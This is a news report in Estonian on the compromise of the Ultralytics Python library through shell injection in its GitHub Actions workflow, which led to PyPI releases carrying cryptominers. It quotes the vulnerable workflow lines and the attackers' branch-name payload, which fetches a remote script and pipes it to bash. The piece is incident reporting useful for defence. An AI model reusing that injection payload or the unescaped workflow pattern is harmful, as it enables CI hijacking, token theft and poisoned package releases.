Küberkurjategijad suutsid täita koodi GitHub Actionsi õigustes Ultralytics Python'i raamatukogus, mida kasutatakse arvutinägemise probleemide lahendamiseks, nagu objektide tuvastamine piltidel ja piltide segmentimine. Pärast repositooriumisse pääsemist avaldasid ründajad PyPI kataloogis mitmeid uusi Ultralytics versioone, mis sisaldasid pahatahtlikke muudatusi krüptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralytics raamatukogu PyPI kataloogist alla laaditud üle 6,4 miljoni korra.
Repo kompromiteerimiseks kasutati haavatavust paketis ultralytics-actions, mis on mõeldud automaatsete töötlejate käivitamiseks teatud toimingute tegemisel GitHubis, kasutades GitHub Actions'i mekanismi. Ultralyitics projektis kinnitati haavatav töötleja pull_request_target sündmusele ja kutsuti esile uute pull-taotluste saamisel. Eelkõige koodi vormindamiseks esitatud pull-taotlustes kutsuti esile töötleja format.yml ning täideti action.yml faili 'run' sektsioonis esitatud kood, kus olid shell-käsklused järgmiste asendusmallidega: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»
Nii viidi shell-käsklusesse ilma sobiva escaping'ita Git haru nimi, mida mainiti pull-taotluses. Oluline on märkida, et augustis parandati paketis ultralytics-actions sarnane haavatavus, mis oli seotud välise väärtuse kasutamisega funktsioonis echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»
Ettevõtte koodi täitmiseks GitHub Actions kontekstis saatsid ründajad pull-requesti ultralytics'ile, märkides haru nimeks: openimbot:$(curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh${IFS}|${IFS}bash)
Seega, kui pull-request jõudis koodi, asendati ründajate määratud string «$(…)», mis käivitas järgmise käsu töötlejana: «curl -sSfL raw.githubusercontent.com/.../file.sh | bash».

Koodi käivitamine GitHub Actions kontekstis võib olla kasutatud juurdepääsutokeni ja teiste konfidentsiaalsete andmete püüdmiseks. Kuidas ründajad suutsid vormistada väljaande, omades võimalust oma koodi täitmiseks GitHub Actions's, ei ole veel täpselt selge. Eeldatakse, et see sai võimalikuks publish.yml töötleja muutmise kaudu (ründajad eemaldasid lubatud arvesti kontrolli, millega on lubatud väljaannete avaldamine PyPI's) ja GitHub Actions'i ehituskahe mürgitamise tehnika kasutamise tõttu, et sisestada oma andmed väljaandesse.
Ultralytics 8.3.41 esimene pahavara versioon avaldati ründajate poolt PyPI kataloogis 4. detsembril kell 23:51 (MSK) ja kustutati järgmisel päeval kell 12:15. Kell 15:47 postitati veel üks versioon 8.3.42, mis kustutati kell 16:47. Seega olid pahavara versioonid kokku saadaval allalaadimiseks umbes 13 tundi (PyPI-s registreeritakse iga päev umbes 250 000 ultralytics teegi allalaadimist). Versioonide 8.3.41 ja 8.3.42 koosseisus oli kood, mis laadis välist serverile komponenti XMRig krüptovaluutade kaevandamiseks.
Projekti arendajad lahendasid probleemi ja koostasid parandatud versioonid 8.3.43 ja 8.3.44, kuid kaks päeva hiljem toimus veel üks rünnak, mille käigus avaldasid ründajad täna kell 04:41 ja 05:27 (MSK) kaks täiendavat pahavara versiooni — 8.3.45 ja 8.3.46, mis sisaldavad teistsugust kaevandamiskoodi. Enne uurimise lõpetamist soovitatakse kasutajatel hoiduda uute versioonide installimisest ja lukustada sõltuvustes versioon 8.3.44.
Allikas: opennet.ru
